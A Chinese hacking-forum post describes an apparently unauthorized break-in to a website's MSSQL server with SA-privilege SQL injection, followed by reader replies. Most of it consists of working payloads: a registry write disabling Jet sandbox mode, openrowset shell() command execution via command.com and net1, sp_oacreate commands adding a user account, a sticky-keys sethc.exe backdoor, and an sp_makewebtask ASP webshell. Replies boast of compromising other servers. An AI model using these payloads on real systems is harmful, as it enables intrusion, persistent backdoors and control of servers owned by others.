[原创]SA权限下的思路变通
信息来源：邪恶八进制信息安全团队（[url]www.eviloctal.com[/url]）文章作者：jxsaqjh
[b]注：本文首发于“jxsaqjh网络工作室”，转载请注明出处。[/b]
去年的时候已经拿到了这个站的SHELL，可是后门很早就被K了，今天无意间又得到了注入，啊D检测很快就出来了令人欣喜的信息，SA权限，转到NB里面可以列目录但是不能执行，telnet对方1433不能连接，因为曾经入侵过一次知道WEB和SQL在同一台机器上，所以确定对方改了MSSQL端口。
尝试在NB里面恢复CMDSHELL、OACREAT都没有成功，所以开启SQLSERVERAGENT
[quote];exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--[/quote]
回显成功之后执行系统命令
[quote]echo 1 >c:\1.txt[/quote]
还是没有成功，无奈之中希望寄托于沙盒模式，执行如下语句开启沙盒模式
[quote];exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;-- [/quote]
回显成功，进一步调用oledb执行系统命令
[quote] and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo 1 >c:\1.txt")'))-- [/quote]
回显500，明显出错了，沙盒模式也暂且放下
既然可以写注册表，那一定可以读注册表，那先读读终端端口看看
[attach]11144[/attach]
是默认的3389但是我无法连接，或许是没开终端服务，或许是防火墙屏蔽，不得而知，一定想知道我为什么要连接终端吧，下面看这段语句。
[quote]declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';[/quote]
[quote]declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';[/quote]
大家一定记得最近很流行的SHIFT后吧，以上两段语句就是利用FSO组件的读写权限替换粘拈键为桌面的启动程序EXPLORER，如果替换成功那么执行5次SHIFT后就可以直接执行EXPLORER.EXE开启桌面，但是连不上远程这个方法也就不能用了。当然以上的命令需要OACREAT的支持，我也就是抱着侥幸的心理试试看。假设OACREAT没有删，我们还可以利用以下语句执行系统命令
[quote];DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234 /add';--[/quote]
[quote];DECLARE @shell INT EXEC SP_OAcreate 'Shell.Application',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234/add';--[/quote]
以上两个语句也是利用OACREAT调用wscript.shell和Shell.Application组件执行系统命令,但是在这里我们是用不了的，因为不仅OACREAT不在，就连那两个危险组件管理也写了个批处理卸了：
[attach]11143[/attach]
万般无奈下尝试lOG备分拿只SHELL，可是备分的页面却是404，很显然这个SA没有备分的权限，还能怎么做？看下面：
[quote];exec%20sp_makewebtask%20'd:\zjkdj\zjkdj\zjkds\bake.asp,'%20select%20''<%25execute(request("a"))%25>''%20';--[/quote]
利用sp_makewebtask这个存储过程写个马进去，很幸运这个过程是能用的，成功得到SHELL，本来想传xplog70.dll上去恢复xp_cmdshell存储过程，但是执行恢复的时候发现这个过程是在的，然后在海洋里执行CMDSHELL执行系统命令，但是出现了这一句
[quote]xpsql.cpp: 错误 2 来自 CreateProcess（第 737 行[/quote]
我晕啊，难道是CMD.EXE删了？在NB里面列目录查看SYSTEM32下的文件，果然没有cmd.exe，这下终于真象大白了，原来不能执行系统命令的原因是每个存储过程都是调用系统的cmd.exe，既然没有cmd.exe那还怎么执行系统命令？管理还是下了辛苦的哦。
整理下思路后我又想到了沙盒模式，因为啥盒模式调用的CMD不一定是系统自带的，我们可以自己传一个上去的，想到这里在WEB目录下传了个CMD.EXE然后在海洋里执行如下语句
[quote]select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("d:\zjkdj\zjkdj\zjkds\cmd.exe /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--[/quote]
立刻到站点目录下找1.txt，但是没有发现，看来只能调用系统自带的程序了，无聊的在SYSTEM32下乱逛，突然发现了command.com这个程序，哈哈，总算看到希望了！这是什么？我来告诉你吧，它也是系统自带的执行系统命令的程序，和CMD.EXE的功能几乎没有区别，但是大小却比CMD.EXE小几十倍，既然不让调用外部程序那我就调用内部程序，马上就在海洋里修改好如下语句执行
[quote]select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--[/quote]
调用command.com执行系统命令，执行完成后在站点目录下总算找到了1.txt
[attach]11145[/attach]
哈哈，总算看到希望了，打开1.txt看看服务器开了什么服务，但是我却看到一片空白，这是什么原因？难道？还是确定一下比较好，立刻转到SYSTEM32下查看文件，令我吃惊的是居然没有看到NET.EXE，怪不得一片空白呢，系统根本没有net.exe这个程序，自然是什么也看不到，郁闷，管理员不是一般的变态啊！
不过没有关系，windows系统中还有一个叫net1.exe的程序功能是和net.exe一样的哦，我们来调用它执行系统命令，语句如下
[quote]select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net1 start>D:\zjkdj\zjkdj\zjkds\1.txt")')--[/quote]
执行完毕后再看1.txt的内容如下
[attach]11142[/attach]
哈哈，成功了，入侵到了这里也就没有什么继续的必要了，因为我们已经有了系统权限，想做什么都随自己愿意了，收拾收拾在管理员的桌面上写个提醒.txt告诉他漏洞所在，让他尽快修补吧！
最后总结一下，在先前以为是系统的存储过程删掉了，但是后来随着入侵的深入才发现过程并没有删，只是每个存储过程都必须调用cmd.exe所以不能执行系统命令也是肯定的了，所以大家在入侵的时候一定要细心的分析整个过程，从中找出对自己有用的东西。 SA 权限 配合 Microsoft Jet Database Engine (Jet) 的溢出，很容易得到system权限的。
(JET的漏洞已于2008年3月正式修复: [url]http://www.microsoft.com/technet/security/advisory/950627.mspx[/url])
网络上说的 MSSQL 安全的文章，基本上是叫你删除掉一些 XP_cmdshell、XP_regwrite 等等已知的存储过程。
或者 将相应的 dll 改名与删除(这样做，MSSQL很多应用功能就无法正常使用。)
安全和应用并进，使用 SA 权限做为数据库连接帐号是绝对不安全的，xp_regwrite 被删除后, xp_instance_regwrite 照样可以完成写注册表。
网络上的文章只是给你一种修复系统漏洞的即使解决方案，只能顶住一时的攻击，我们需要的是挖掘出融合安全与应用的方法，授人以鱼不如授之以渔刚好可以用在这里。 ring04h的回复太精辟了。我很受用
最少的服务+最小的权限=最大的安全
国内SQL的SA权限还是很多的。就算是DB权限，还是有好多危险的存储过程可以利用 可以自己写个存储过程的DLL，然后注册上去，想实现啥功能就在里面添加相应代码。
近期摸入一台机器，某毒软可能有运行进程的列表，列表外的一律不给运行。cmd.exe net.exe 连想都别想，外部程序更别谈。
于是弄了个存储过程dll,功能为添加用户，终端开着，连上。帐号验证过后，NND连桌面进程都没给我。 国内SQL的SA权限感觉利用的地方很多.
以前我意外得到广州TCL分站的服务器,就是利用这.
还真的有点难得到意料之中的安全 网络上的文章只是给你一种修复系统漏洞的即使解决方案，只能顶住一时的攻击，我们需要的是挖掘出融合安全与应用的方法，授人以鱼不如授之以渔刚好可以用在这里。
很是受用~ 国内SQL的SA权限感觉利用的地方很多.
页:
[1]